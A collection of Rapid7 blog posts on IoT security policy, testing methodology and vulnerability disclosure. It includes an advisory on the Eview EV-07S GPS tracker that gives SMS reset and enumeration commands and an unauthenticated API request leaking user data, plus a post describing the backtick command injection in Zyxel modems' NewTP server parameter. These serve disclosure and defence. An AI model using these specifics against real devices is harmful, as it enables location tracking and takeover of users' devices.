Skip navigation
All Places > Information Security > Blog > Tags iot
1 2 3 Previous Next

Information Security

771 Posts tagged with the iot tag

On Jun. 22, the US Copyright Office released its long-awaited study on Sec. 1201 of the Digital Millennium Copyright Act (DMCA), and it has important implications for independent cybersecurity researchers. Mostly the news is very positive. Rapid7 advocated extensively for researcher protections to be built into this report, submitting two sets of detailed comments—see here and here—to the Copyright Office with Bugcrowd, HackerOne, and Luta Security, as well as participating in official roundtable discussions. Here we break down why this matters for researchers, what the Copyright Office's study concluded, and how it matches up to Rapid7's recommendations.

 

What is DMCA Sec. 1201 and why does it matter to researchers?

Sec. 1201 of the DMCA prohibits circumventing technological protection measures (TPMs, like encryption, authentication requirements, region coding, user agents) to access copyrighted works, including software, without permission of the owner. That creates criminal penalties and civil liability for independent security research that does not obtain authorization for each TPM circumvention from the copyright holders of software. This hampers researchers' independence and flexibility. While the Computer Fraud and Abuse Act (CFAA) is more famous and feared by researchers, liability for DMCA Sec. 1201 is arguably broader because it applies to accessing software on devices you may own yourself while CFAA generally applies to accessing computers owned by other people.

 

To temper this broad legal restraint on unlocking copyrighted works, Congress built in two types of exemptions to Sec. 1201: permanent exemptions for specific activities, and temporary exemptions that the Copyright Office can grant every three years in its "triennial rulemaking" process. The permanent exception to the prohibition on circumventing TPMs for security testing is quite limited – in part because researchers are still required to get prior permission from the software owner. The temporary exemptions go beyond the permanent exemptions.

 

In Oct. 2015 the Copyright Office granted a very helpful exemption to Sec. 1201 for good faith security testing that circumvents TPMs without permission. However, this temporary exemption will expire at the end of the three-year exemption window. In the past, once a temporary exemption expires, advocates must start from scratch in re-applying for another temporary exemption. The temporary exemption is set to expire Oct. 2018, and the renewal process will ramp up in the fall of this year.

 

Copyright Office study and Rapid7's recommendations

The Copyright Office announced a public study of Sec. 1201 in Dec. 2015. The Copyright Office undertook this public study to weigh legislative and procedural reforms to Sec. 1201, including the permanent exemptions and the three-year rulemaking process. The Copyright Office solicited two sets of public comments and held a roundtable discussion to obtain feedback and recommendations for the study. At each stage, Rapid7 provided recommendations on reforms to empower good faith security researchers while preserving copyright protection against infringement – though, it should be noted, there were several commenters opposed to reforms for researchers on IP protection grounds.

 

Broadly speaking, the conclusions reached in the Copyright Office's study are quite positive for researchers and largely tracked the recommendations of Rapid7 and other proponents of security research. Here are four key highlights:

 

  1. Authorization requirement: As noted above, the permanent exemption for security testing under Sec. 1201(j) is limited because it still requires researchers to obtain authorization to circumvent TPMs. Rapid7's recommendation is to remove this requirement entirely because good faith security research does not infringe copyright, yet an authorization requirement compromises independence and speed of research. The Copyright Office's study recommended [at pg. 76] that Congress make this requirement more flexible or remove it entirely. This is arguably the study's most important recommendation for researchers.


  2. Multi-factor test: The permanent exemption for security testing under Sec. 1201(j) also partially conditions liability protection on researchers when the results are used "solely" to promote the security of the computer owner, and when the results are not used in a manner that violates copyright or any other law. Rapid7's recommendations are to remove "solely" (since research can be performed for the security of users or the public at large, not just the computer owner), and not to penalize researchers if their research results are used by unaffiliated third parties to infringe copyright or violate laws. The Copyright Office's study recommended [at pg. 79] that Congress remove the "solely" language, and either clarify or remove the provision penalizing researchers when research results are used by third parties to violate laws or infringe copyright.


  3. Compliance with all other laws: The permanent exemption for security testing only applies if the research does not violate any other law. Rapid7's recommendation is to remove this caveat, since research may implicate obscure or wholly unrelated federal/state/local regulations, those other laws have their own enforcement mechanisms to pursue violators, and removing liability protection under Sec. 1201 would only have the effect of compounding the penalties. Unfortunately, the Copyright Office took a different approach, tersely noting [at pg. 80] that it is unclear whether the requirement to comply with all other laws impedes legitimate security research. The Copyright Office stated they welcome further discussion during the next triennial rulemaking, and Rapid7 may revisit this issue then.


  4. Streamlined renewal for temporary exemptions: As noted above, temporary exemptions expire after three years. In the past, proponents must start from scratch to renew the temporary exemption – a process that involves structured petitions, multiple rounds of comments to the Copyright Office, and countering the arguments of opponents to the exemption. For researchers that want to renew the temporary security testing exemption, but that lack resources and regulatory expertise, this is a burdensome process. Rapid7's recommendation is for the Copyright Office to presume renewal of previously granted temporary exemptions unless there is a material change in circumstances that no longer justifies granting the exemption. In its study, the Copyright Office committed [at pg. 143] to streamlining the paperwork required to renew already granted temporary exemptions. Specifically, the Copyright Office will ask parties requesting renewal to submit a short declaration of the continuing need for an exemption, and whether there has been any material change in circumstances voiding the need for the exemption, and then the Copyright Office will consider renewal based on the evidentiary record and comments from the rulemaking in which the temporary exemption was originally granted. Opponents of renewing exemptions, however, must start from scratch in submitting evidence that a temporary exemption harms the exercise of copyright. 


 

Conclusion—what's next?

In the world of policy, change typically occurs over time in small (often hard-won) increments before becoming enshrined in law. The Copyright Office's study is one such increment. For the most part, the study is making recommendations to Congress, and it will ultimately be up to Congress (which has its own politics, processes, and advocacy opportunities) to adopt or decline these recommendations. The Copyright Office's study comes at a time that House Judiciary Committee is broadly reviewing copyright law with an eye towards possible updates. However, copyright is a complex and far-reaching field, and it is unclear when Congress will actually take action. Nonetheless, the Copyright Office's opinion on these issues will carry significant weight in Congress' deliberations, so it would have been a heavy blow if the Copyright Office’s study had instead called for tighter restrictions on security research.

 

Importantly, the Copyright Office's new, streamlined process for renewing already granted temporary exemptions will take effect without Congress' intervention. The streamlined process will be in place for the next "triennial rulemaking," which begins in late 2017 and concludes in 2018, and which will consider whether to renew the temporary exemption for security research. This is a positive, concrete development that will reduce the administrative burden of applying for renewal and increase the likelihood of continued protections for researchers.

 

The Copyright Office's study noted that "Independent security test[ing] appears to be an important component of current cybersecurity practices". This recognition and subsequent policy shifts on the part of the Copyright Office are very encouraging. Rapid7 believes that removing legal barriers to good faith independent research will ultimately strengthen cybersecurity and innovation, and we hope to soon see legislative reforms that better balance copyright protection with legitimate security testing.

Senator Ed Markey (D-MA) is poised to introduce legislation to develop a voluntary cybersecurity standards program for the Internet of Things (IoT). The legislation, called the Cyber Shield Act, would enable IoT products that comply with the standards to display a label indicating a strong level of security to consumers – like an Energy Star rating for IoT. Rapid7 supports this legislation and believes greater transparency in the marketplace will enhance cybersecurity and protect consumers.

 

The burgeoning IoT marketplace holds a great deal of promise for consumers. But as the Mirai botnet made starkly clear, many IoT devices – especially at the inexpensive range of the market – are as secure as leaky boats. Rapid7's Deral Heiland and Tod Beardsley, among many others, have written extensively about IoT's security problems from a technical perspective.

 

Policymakers have recognized the issue as well and are taking action. Numerous federal agencies (such as FDA and NHTSA) have set forth guidance on IoT security as it relates to their area of authority, and others (such as NIST) have long pushed for consistent company adoption of baseline security frameworks. In addition to these important efforts, we are encouraged that Congress is also actively exploring market-based means to bring information about the security of IoT products to the attention of consumers.

 

Sen. Markey's Cyber Shield Act would require the Dept. of Commerce to convene public and private sector experts to establish security benchmarks for select connected products. The working group would be encouraged to incorporate existing standards rather than create new ones, and the benchmark would change over time to keep pace with evolving threats and expectations. The process, like that which produced the NIST Cybersecurity Framework, would be open for public review and comment. Manufacturers may voluntarily display "Cyber Shield" labels to IoT products that meet the security benchmarks (as certified by an accredited testing entity).

 

Rapid7 supports voluntary initiatives to raise awareness to consumers about product security, like that proposed in the Cyber Shield Act. Consumers are often not able to easily determine the level of security in products they purchase, so an accessible and reliable system is needed to help inform purchase decisions. As consumers evaluate and value IoT security more, competing manufacturers will respond by prioritizing secure design, risk management practices, and security processes. Consumers and the IoT industry can both benefit from this approach.

 

The legislation is not without its challenges, of course. To be effective, the security benchmarks envisioned by the bill must be clear and focused, rather than generally applicable to all connected devices. The program would need buy-in from security experts and responsible manufacturers, and consumers would need to learn how to spot and interpret Cyber Shield labels. But overall, Rapid7 believes Sen. Markey's Cyber Shield legislation could encourage greater transparency and security for IoT. Strengthening the IoT ecosystem will require a multi-pronged approach from policymakers, and we think lawmakers should consider incorporating this concept as part of the plan.

By

Deral Heiland IoT - IoT Research Lead Rapid7

Nathan Sevier - Senior Consultant Rapid7

Chris Littlebury  - Threat Assessment Manage Rapid7

 

End-to-end ecosystem methodology

When examining IoT technology, the actionable testing focus and methodology is often applied solely to the embedded device. This is short sighted and incomplete. An effective assessment methodology should consider the entire IoT solution or as we refer to it, the IoT Product Ecosystem. Every interactive component that makes the product function is included in this IoT Product Ecosystem.

  • Embedded device and associated sensors receivers and actuators
  • Mobile application and or command and control software
  • Cloud API and or associated web services
  • Network communication protocols:
    • Ethernet
    • 802.11 Wifi
    • Intra-component communication such as Zigbee, Z-Wave, Bluetooth, etc.

 

ecosystem.png

Figure 1: Product IoT Ecosystem

 

Rapid7’s motivations behind examining the entire ecosystem is to ensure all components of the technology are secure. Failure of any component of the product ecosystem can and will affect the overall security posture. As an example, a failure in the cloud API security can easily lead to unauthorized access control of the embedded hardware, allowing a malicious actor to carry out attacks that could potentially impact the safety and security of the product user.

 

In the following sections we discuss the various areas and processes that should be a focus to ensure a thorough assessment of an IoT product ecosystems is conducted.

 

Functional evaluation

When conducting a test on an IoT product's ecosystem, first and foremost an IoT product should be set up and configured within normal specifications. We generally prefer to set up two separate environments, which will better facilitate vulnerability testing, such a cross account and cross system attack and can also be used to make comparisons between normal and altered configurations. Leveraging a fully functional environment, we can then more effectively map out all functions, features, components and communication paths within the products ecosystem. Using this data we can next build out a test plan, which covers the products ecosystem from end-to-end.

 

Device reconnaissance

We start each IoT security assessment by conducting reconnaissance and open source intelligence gathering (OSINT) to enumerate information about the components and supporting infrastructure. This enumeration can include, researching the make and model of the components and software used by the device, and identification of any external presence that makes up the cloud component of the product.

 

Cloud focused testing

IoT technology uses various web services for remote control, data collection, and product management. Often web services and cloud API can be the weakest link within an IoT product ecosystem. To validate the security, we conduct a very comprehensive assessment of the associated cloud services using functions and communication between the cloud services and all components in the product ecosystem. This allows us to validate the overall security posture of the product and determine impact and risk caused by security issues between components of the ecosystem. This also includes focused testing of the OWASP Top 10.

 

Mobile application/control system-focused testing

Generally IoT technologies commonly leverage various forms of remote control services such as mobile application (android, iOS) to remotely manage and control IoT technology. During this phase of testing we conduct in-depth testing and analysis of the mobile and remote application used to manage the IoT product. Again similar to the cloud testing, Rapid7 tests all functions and communications between the mobile applications and all components in the product ecosystem to validate the overall security posture of the product. This testing also focuses around the OWASP mobile top 10 to assure the application meets all security best practices.

 

Network-focused testing

IoT technologies commonly expose services via standard network communication paths such as ethernet and wifi, which can create an elevated level risk. During this phase of testing, we will identify all exposed TCP and UDP ports within the IoT ecosystems infrastructure. With this list of ports we can then conduct a thorough penetration test to identify all vulnerable or misconfigured services, which can be leveraged to compromise the system and or gain access to critical information.

 

Physical inspection

We also perform a physical inspection to assess the physical attack surface of an IoT device. This inspection includes examining the device for JTAG and Serial pin-outs, as well as identifying the pins used for power, data, and control of individual components. Each device will have different components or elements but some common attack vectors include:

  • Exterior USB Access
  • Exterior port access
  • Location and medium of storage
  • Availability of debug console access
  • Availability of serial console access
  • Efforts required for disassembly of the device
  • Risk to compromise based on brief physical access to the device
  • Risk to compromise based on extended physical access to the device
  • Risk to compromise based on allowed connectivity medium (Wireless, Wired, Bluetooth, etc.)

 

Physical device attacks

Physical inspection of the device is key to identifying the most logical physical attacks. After inspection, we conduct physical tests against the IoT device. Though these attack vectors may differ, they often follow common themes. Often, this testing will resemble the following actions:

  • Compromise through available ports.
  • Circumvention of device protections such as boot loader restrictions or restricted bios.
  • Access to modify the configuration of the device.
  • Access to storage to pull configuration keys used by the cloud component.
  • Access to firmware that would otherwise be restricted.
  • Access to the console or logs to isolate traffic destinations during communication with the cloud component.

 

Radio-focused testing

Most IoT devices also use radio based communication (RF) methods. We focus our communication testing methods to identify security issues to help determine risk and impact. To accomplish this we conduct specialized testing and analyses of the radio-based communication to identify if the communication:

  • Conforms to expected encryption techniques.
  • The component pairing processes cannot be subverted.
  • Allows unauthorized access or control.
  • Can be easily used to map out the underlying command and control traffic
  • Is vulnerable to replay attacks.

 

Need help securing your IoT devices? Check out our IoT Security Testing Services to learn more.

Rapid7 has long been a champion of coordinated vulnerability disclosure and handling processes as they play a critical role in both strengthening risk management practices and protecting security researchers. We not only use coordinated disclosure processes in our own vulnerability disclosure and receiving activities, but also advocate for broader adoption in industry and in government policies.

 

Building on this, we recently joined forces with other members of the security community to urge NIST and NTIA (both part of the U.S. Dept. of Commerce) to promote adoption of coordinated vulnerability disclosure processes. In each of these two most recent filings, Rapid7 was joined by a coalition of approximately two dozen (!!) like-minded cybersecurity firms, civil society organizations, and individual researchers.

 

  • Joint comments to the National Institute of Standards and Technology (NIST) Cybersecurity Framework, available here.

 

  • Joint comments to the National Telecommunications and Information Administration's (NTIA) "Green Paper" on the Internet of Things, available here.

 

The goal of the comments is for these agencies to incorporate coordinated vulnerability disclosure and handling processes into official policy positions on IoT security (in the case of NTIA) and cybersecurity guidance to other organizations (in the case of NIST). We hope this ultimately translates to broader adoption of these processes by both companies and government agencies.

 

What are "vuln disclosure processes" and why are they important?

Okay, first off, I really hope infosec vernacular evolves to come up with a better term than "coordinated vulnerability disclosure and handling processes" because boy that's a mouthful. But it appears to be the generally agreed-upon term.

 

A coordinated vulnerability disclosure and handling process is basically an organization's plan for dealing with security vulnerabilities disclosed from outside the organization. They are formal internal mechanisms for receiving, assessing, and mitigating security vulnerabilities submitted by external sources, such as independent researchers, and communicating the outcome to the vulnerability reporter and affected parties. These processes are easy to establish (relative to many other security measures) and may be tailored for an organizations' unique needs and resources. Coordinated vulnerability disclosure and handling processes are not necessarily "bug bounty programs" and may or may not offer incentives, or a guarantee of protection against liability, to vulnerability reporters.

 

Why are these processes important? The quantity, diversity, and complexity of vulnerabilities will prevent many organizations from detecting all vulnerabilities without independent expertise or manpower. When companies are contacted about vulnerabilities in their products or IT from unsolicited third parties, having a plan in place to get the information to the right people will lead to a quicker resolution. Security researchers disclosing vulnerabilities are also better protected when companies clarify a process for receiving, analyzing, and responding to the disclosures – being prepared helps avoid misunderstandings or fear that can lead to legal threats or conflicts.

 

To catch vulnerabilities they might otherwise overlook, businesses and government agencies are increasingly implementing vulnerability disclosure and handling processes, but widespread adoption is not yet the norm.

 

NIST Framework comments

The NIST Framework is a voluntary guidance document for organizations for managing cybersecurity risks. The Framework has seen growing adoption and recognition, and is an increasingly important resource that helps shape cybersecurity implementation in the public and private sectors. NIST proposed revisions to the Framework and solicited comments to the revisions.

 

In our joint comments, the coalition urged NIST to expressly incorporate vulnerability disclosure processes into the Framework. The Framework already included "external participation" components and metrics (likely directed at formal cyber threat intel sharing arrangements), but they are unclear and don't explicitly refer to vulnerability disclosure processes.

 

Specifically, our comments recommended that the Framework Core include a new subcategory dedicated to vulnerability disclosure processes, and to build the processes into existing subcategories on risk assessment and third party awareness. Our comments also recommended revising the "external participation" metric of the Framework Tiers to lay out a basic maturity model for vulnerability disclosure processes.

 

NTIA Internet of Things "Green Paper" comments

NTIA issued a “Green Paper” in late 2016 to detail its overall policies with regard to the Internet of Things, and then they solicited feedback and comments on that draft. Although the Dept. of Commerce has demonstrated its support for vulnerability disclosure and handling processes, there was little discussion about this issue in the Green Paper. The Green Paper is important because it will set the general policy agenda and priorities for the Dept. of Commerce on the Internet of Things (IoT).

 

In our joint comments, the coalition urged NTIA to include more comprehensive discussion vulnerability disclosure and handling processes for IoT. This will help clarify and emphasize the role of vulnerability disclosure in the Dept. of Commerce's policies on IoT security going forward.

 

The comments also urged NTIA to commit to actively encouraging IoT vendors to adopt vulnerability disclosure and handling processes. The Green Paper mentioned NTIA's ongoing "multistakeholder process" on vulnerability disclosure guidelines, which Rapid7 participates in, but the Green Paper did not discuss any upcoming plans for promoting adoption of vulnerability disclosure and handling processes. Our comments recommended that NTIA promote adoption among companies and government agencies in IoT-related sectors, as well as work to incorporate the processes into security guidance documents.

 

More coming

Rapid7 is dedicated to strengthening cybersecurity for organizations, protecting consumers, and empowering the independent security research community to safely disclose vulnerabilities they've discovered. All these goals come together on the issue of coordinated vulnerability disclosure processes. As we increasingly depend on complex and flawed software and systems, we must pave the way for greater community participation in security. Facilitating communication between technology providers and operators and independent researchers is an important step toward greater collaboration aimed at keeping users safe.

 

Rapid7 is thrilled to be working with so many companies, groups, and individuals to advance vulnerability disclosure and handling processes. As government agencies consider how cybersecurity fits into their missions, and how to advise the public and private sectors on what to do to best protect themselves, we expect more opportunities to come.

 

You can learn more about our policy engagement efforts on Rapid7's public policy page.

Seven issues were identified with the Eview EV-07S GPS tracker, which can allow an unauthenticated attacker to identify deployed devices, remotely reset devices, learn GPS location data, and modify GPS data. Those issues are briefly summarized on the table below.

 

These issues were discovered by Deral Heiland of Rapid7, Inc., and this advisory was prepared in accordance with Rapid7's disclosure policy.

 

Vulnerability DescriptionR7 IDCVEExploit Vector
Unauthenticated remote factory resetR7-2016-28.1CVE-2017-5237Phone number
Remote device identificationR7-2016-28.2

None

(identification)

Phone number range
Lack of configuration bounds checksR7-2016-28.3CVE-2017-5238Phone number
Unauthenticated access to user dataR7-2016-28.4

None

(server-side issue)

Web application
Authenticated user access to other users' dataR7-2016-28.5

None

(server-side issue)

Web application user account
Sensitive information transmitted in cleartextR7-2016-28.6CVE-2017-5239Man-in-the-Middle (MitM) Network
Web application data poisoningR7-2016-28.7

None

(server-side issue)

Web application

 

Product Description

The EV-07S is a personal GPS tracker device used for personal safety and security, described at the vendor's website as being primarily intended for tracking elderly family members; disabled and patient care; child protection; employee management; and pet and animal tracking. Test devices were acquired from Eview directly, and an example is shown below in Figure 1.

f1.png

Figure 1: The EV-07S personal GPS tracker device

 

R7-2016-28.1: Unauthenticated remote factory reset

Given knowledge of the EV-07S's registered phone number, the EV-07S device can be reset to factory level setting by sending "RESET!" as a command in an SMS message to the device. Only the phone number is required; no password or physical access is required to accomplish this task. After a factory reset, the device can then be reconfigured remotely via SMS messages without need of password. The product manual states this functionality, so it appears to be a fundamental design flaw with regard to secure configuration.

 

Mitigation for R7-2016-28.1

A vendor-supplied patch should prevent the device from allowing unauthenticated factory reset without having physical access to the device.

 

Absent a patch, users should regularly check their device to ensure the configuration has not be deleted or altered.

 

R7-2016-28.2: Remote device identification

The EV-07S device, once set up with a password, should not respond to any SMS queries sent to the device's phone number. According to the user manual, no password is needed to send "reboot" and "RESET!" commands to the device. Testing showed, in spite of user manual statement, that the "reboot" command required a password if device is set up for authentication. Further manual fuzzing test via SMS reveled that the command "REBOOT!" will cause the device to respond with the message "Format error!".

 

Due to providing this negative response, a malicious actor could use this command to enumerate all devices by trying all likely phone numbers, commonly known as a war dialing operation, using SMS messages containing the "REBOOT!" command.

 

f2.png

Figure 2: SMS command response on password protected device

 

Mitigation for R7-2016-28.2

A vendor-supplied patch should disable the response from the "REBOOT!" command when password protection is enabled.

 

R7-2016-28.3: Lack of configuration bounds checks

Several input configuration fields were discovered to not be performing proper bounds checks on incoming SMS messages. If a device's phone number is known to an attacker, this lack of bounds checking allows the overly long input of one configuration setting to overwrite data of another setting. An example of this is shown in Figure 3, where the "Authorized Number" setting A1 is used to overwrite setting B1:

 

f3.png

Figure 3: Configuration Setting Overflow Via SMS Message

 

Mitigation for R7-2016-28.3

A vendor-supplied patch should implement bounds checks and input sanitization on all entered configuration data.

 

Absent a vendor-supplied patch, users should be mindful of entering any values of excessive length. In the case with Authorized Number setting anything over 20 characters will overwrite the next setting in line.

 

R7-2016-28.4: Unauthenticated access to user data

A malicious actor can gain access to user data including account name, TrackerID and device IMEI id. This is done by posting userId=5XXXX&trackerName=&type=allTrackers with a the target's userID number to the API  at http://www.smart-tracking.com/web/searchTrackerList.do .  An example of this shown below in Figure 4:

 

f4.png

Figure 4: HTTP post to gain access to user data

 

Given the small keyspace involved with guessing valid user IDs of 5 digits, it appears trivial to determine all valid user IDs.

 

Mitigation for R7-2016-28.4

A vendor-supplied patch on the vendor web application should prevent unauthenticated access to individual user data.

 

Absent a vendor-supplied patch, users should be careful when trusting the realtime tracking services with their device.

 

R7-2016-28.5: Authenticated access to other users' data

An authenticated user can gain access to others users configuration and device GPS data if they know or guess a valid userId, device IMEI or TrackerID. The following three examples (Figures 5 through 7) show this level of access from one authenticated account being able to access another account's data.

 

f5.png

Figure 5: Access to another user's configuration data

 

f6.png

Figure 6: Access to Another users Device GPS Data

 

f7.png

Figure 7: Access to Another Users GPS Tracker Configuration

 

Mitigation for R7-2016-28.5

A vendor-supplied patch should prevent access to other users data.

 

Absent a vendor-supplied patch, users should be careful when trusting the realtime tracking services with their device.

 

R7-2016-28.6:  Sensitive information transmitted in cleartext

The web application used for realtime tracking web application, hosted at http://www.smart-tracking.com , does not utilize SSL/TLS encryption for HTTP services. Also the EV-07S device passes IMEI and GPS data to this website over the Internet on TCP port 5050 without any encryption. An example of this captured unencrypted data is show below in Figure 8:

 

f8.png

Figure 8: Unencrypted Transfer of Information From Device Over Port 5050

 

Mitigation for R7-2016-28.6

A vendor-supplied patch on both the server and the client should enable encrypted transfer of data to website, as well as an update of the website to enable HTTPS service and serve these pages only over HTTPS.

 

Absent a vendor-supplied patch, users should be careful when trusting the realtime tracking services with their device.

 

R7-2016-28.7:  Data poisoning

An unauthenticated attacker can poison the realtime tracking data by injecting device data similar to the data structure shown above in Figure 8 to the server at www.smart-tracking.com over TCP port 5050. The attacker can do this only if they know a device's IMEI number, but that data is learnable through mechanisms described above.

 

An example of this is shown in Figure 9, where the device's realtime tracking data was poisoned to make the device appear to be Moscow, Russia (it was not).

 

f9.png

Figure 9: Real time tracking data poisoned

 

Mitigation for R7-2016-28.7

A vendor-supplied patch should enable authentication before allowing device data to be posted to the site on TCP port 5050.

 

Absent a vendor-supplied patch, users should be careful when trusting the realtime tracking services with their device.

 

Disclosure Timeline

  • Mon, Dec 12, 2016: Initial contact made to the vendor.
  • Tue, Dec 20, 2016: Vendor responded and details provided to info@eviewltd.com.
  • Tue, Dec 27, 2016: Disclosure to CERT/CC, VU#375851 assigned.
  • Wed, Mar 08, 2017: CVEs assigned in conjunction with CERT/CC.
  • Mon, Mar 27, 2017: Vulnerability disclosure published.

Merry HaXmas to you! Each year we mark the 12 Days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year, we’re highlighting some of the “gifts” we want to give back to the community. And while these gifts may not come wrapped with a bow, we hope you enjoy them.

 

On the seventh day of Haxmas, the Cyber gave to me: a list of seven Rapid7 comments to government policy proposals! Oh, tis a magical season.

 

It was an active 2016 for Rapid7's policy team. When government agencies and commissions proposed rules or guidelines affecting security, we often submitted formal "comments" advocating for sound cybersecurity policies and greater protection of security researchers. These comments are typically a cross-team effort, reflecting the input of our policy, technical, industry experts, and submitted with the goal of helping government better protect users and researchers and advance a strong cybersecurity ecosystem.

 

Below is an overview of the comments we submitted over the past year. This list does not encompass the entirety of our engagement with government bodies, only the formal written comments we issued in 2016. Without further ado:

 

1.     Comments to the National Institute for Standards and Technology (NIST), Feb. 23: NIST asked for public feedback on its Cybersecurity Framework for Improving Critical Infrastructure Cybersecurity. The Framework is a great starting point for developing risk-based cybersecurity programs, and Rapid7's comments expressed support for the Framework. Our comments also urged updates to better account for user-based attacks and ransomware, to include vulnerability disclosure and handling policies, and to expand the Framework beyond critical infrastructure. We also urged NIST to encourage greater use of multi-factor authrntication and more productive information sharing. Our comments are available here [PDF]: https://rapid7.com/globalassets/_pdfs/rapid7-comments/rapid7-comments-to-nist-fr amework-022316.pdf

 

2.     Comments to the Copyright Office, Mar. 3: The Copyright Office asked for input on its (forthcoming) study of Section 1201 of the DMCA. Teaming up with Bugcrowd and HackerOne, Rapid7 submitted comments that detailed how Section 1201 creates liability for good faith security researchers without protecting copyright, and suggested specific reforms to improve the Copyright Office's process of creating exemptions to Section 1201. Our comments are available here [PDF]: https://rapid7.com/globalassets/_pdfs/rapid7-comments/rapid7-bugcrowd--hackerone -joint-comments-to-us-copyright-office-s…

 

3.     Comments to the Food and Drug Administration (FDA), Apr. 25: The FDA requested comments for its postmarket guidance for cybersecurity of medical devices. Rapid7 submitted comments praising the FDA's holistic view of the cybersecurity lifecycle, use of the NIST Framework, and recommendation that companies adopt vulnerability disclosure policies. Rapid7's comments urged FDA guidance to include more objective risk assessment and more robust security update guidelines. Our comments are available here [PDF]: https://rapid7.com/globalassets/_pdfs/rapid7-comments/rapid7-comments-to-fda-dra ft-guidance-for-postmarket-management-of…

 

4.     Comments to the Dept. of Commerce's National Telecommunications and Information Administration (NTIA), Jun. 1: NTIA asked for public comments for its (forthcoming) "green paper" examining a wide range of policy issues related to the Internet of Things. Rapid7's comprehensive comments detailed – among other things – specific technical and policy challenges for IoT security, including insufficient update practices, unclear device ownership, opaque supply chains, the need for security researchers, and the role of strong encryption. Our comments are available here [PDF]: https://rapid7.com/globalassets/_pdfs/rapid7-comments/rapid7-comments-to-ntia-in ternet-of-things-rfc-060116.pdf

 

5.     Comments to the President's Commission on Enhancing National Security (CENC), Sep. 9: The CENC solicited comments as it drafted its comprehensive report on steps the government can take to improve cybersecurity in the next few years. Rapid7's comments urged the government to focus on known vulnerabilities in critical infrastructure, protect strong encryption from mandates to weaken it, leverage independent security researchers as a workforce, encourage adoption of vulnerability disclosure and handling policies, promote multi-factor authentication, and support formal rules for government disclosure of vulnerabilities. Our comments are available here [PDF]: https://rapid7.com/globalassets/_pdfs/rapid7-comments/rapid7-comments-to-cenc-rf i-090916.pdf

 

6.     Comments to the Copyright Office, Oct. 28: The Copyright Office asked for additional comments on its (forthcoming) study of Section 1201 reforms. This round of comments focused on recommending specific statutory changes to the DMCA to better protect researchers from liability for good faith security research that does not infringe on copyright. Rapid7 submitted these comments jointly with Bugcrowd, HackerOne, and Luta Security. The comments are available here [PDF]: https://rapid7.com/globalassets/_pdfs/rapid7-comments/rapid7-bugcrowd-hackerone- luta-security-joint-comments-to-copyrigh…

 

7.     Comments to the National Highway Traffic Safety Administration (NHTSA), Nov. 30: NHTSA asked for comments on its voluntary best practices for vehicle cybersecurity. Rapid7's comments recommended that the best practices prioritize security updating, encourage automakers to be transparent about cybersecurity features, and tie vulnerability disclosure and reporting policies to standards that facilitate positive interaction between researchers and vendors. Our comments are available here [PDF]: https://rapid7.com/globalassets/_pdfs/rapid7-comments/rapid7-comments-to-nhtsa-c ybersecurity-best-practices-for-modern-v…

 

 

2017 is shaping up to be an exciting year for cybersecurity policy. The past year made cybersecurity issues even more mainstream, and comments on proposed rules laid a lot of intellectual groundwork for helpful changes that can bolster security and safety. We are looking forward to keeping up the drumbeat for the security community next year. Happy Holidays, and best wishes for a good 2017 to you!

by Tod Beardsley and Bob Rudis

 

What's Going On?

 

Early in November, a vulnerability was disclosed affecting Zyxel DSL modems, which are rebranded and distributed to many DSL broadband customers across Europe. Approximately 19 days later, this vulnerability was leveraged in widespread attacks across the Internet, apparently connected with a new round of Mirai botnet activity.

 

If you are a DSL broadband customer, you can check to see if your external TCP port 7547 is accessible to the Internet by using popular public portscanning services provided by WhatsMyIP, SpeedGuide, or your own favorite public portscanning service. If it is, your ISP should be able to confirm if your modem is vulnerable to this attack.

 

Vulnerability Details

 

On November 7, "Kenzo" disclosed two vulnerabilities affecting the Zyxel D1000 DSL modem on the Reverse Engineering blog, here. This DSL modem is used by residential DSL subscribers in Ireland, and appears to be distributed by the Irish ISP, Eir. It's unknown if Kenzo disclosed these issues to either Zyxel or Eir prior to public disclosure.

 

Two issues were identified, both involving the TR-064 SOAP service on the DSL modem, running on TCP port 7547. The first is a command injection vulnerability in the way the device parses new NTP server configurations, where an attacker can enclose an arbitrary shell command in backticks when setting the NewNTPServer1 parameter. The second is an information leak vulnerability where an attacker can access the GetSecurityKeys command to learn the device's WiFi and administrative password.

 

Kenzo provided a proof-of-concept Metasploit module to exercise these vulnerabilities to expose the administrative web service on the Internet-facing side of the modem and to extract the administrative password to that admin web service.

 

On November 26th, the command injection issue was being actively exploited in the wild, apparently as part of another wave of Mirai-style IoT botnet activity. In particular, DSL modems provided to Deutsche Telekom customers in Germany and Austria, under the brandname "Speedport," appeared to be vulnerable. As a result of this attack, many Telekom subscribers were knocked offline on November 27th, and DT has since updated the Speedport firmware.

 

Today, on November 29th, the Metasploit open source project has started work on converting Kenzo's original, special purpose proof-of-concept exploit to a more generally useful Metasploit module that can be used to test the vulnerability in a safer and more controlled way. That work continues on Pull Request #7626.

 

Exploit Activity Details

 

timeline3.png

 

Rapid7’s Heisenberg Cloud started picking up malicious SOAP HTTP POST requests to port 7547 on November 26th. We were able to pick up these requests due to the “spray and pray” nature of the bots searching for vulnerable targets. To-date, we’ve seen over 63,000 unique source IP addresses associated with these attempts to take over the routers, peaking at over 35,000 unique attempts per day on November 27th.

 

As the map below shows, the bots attempting to take over the routers are geographically dispersed.

 

map.png

As the below temporal flow diagram shows, different regions are more prevalent as sources of this activity on different days (the source regions are on the left, the days they were active are on the right).

 

region.png

There was little change in the top 10 source countries (by unique node count) over the attack period, but some definitely stood out more than others (like Brazil and the U.K.).

 

We’ve also seen all malicious payload types, though not all of them appeared on all days as seen in the third chart.

 

cc.png

payloads.png

Not all payloads were evenly distributed across all countries:

 

heatmap.png

 

What Can You Do to Protect Yourself?

 

The vulnerabilities being exploited in these attack are present in Zyxel DSL modems, which are commonly used in European and South American consumer markets, and may be rebranded by regional ISPs, as they are for Eir and Deutsche Telekom. The vulnerabilities described do not appear to affect the cable modems commonly used in the United States.

 

If you are a DSL customer and concerned that you may be vulnerable, you can use popular portscanning services provided by WhatsMyIP, SpeedGuide, or others to assess if your external TCP port 7547 is accessible from the Internet. If the port times out or is otherwise not reachable, you're in the clear. If it is accessible, you should contact your ISP to see if a) this can be restricted, and b) if you are running a vulnerable device.

 

For ISPs, it is A Bad Idea to expose either TR-069 or TR-064 services to arbitrary sources on the Internet; while ISPs may need access to this port to perform routine configuration maintenance on customer equipment, it should be possible for local and edge firewall rules to restrict access to this port to only IP addresses that originate from the ISP's management network.

 

Meanwhile, penetration testers should follow the progress of converting Kenzo's original proof-of-concept to a fully functional Metasploit module over at Pull Request #7626 on Metasploit's GitHub repository. If you are an open source security software developer, we'd love to have your input there.

 

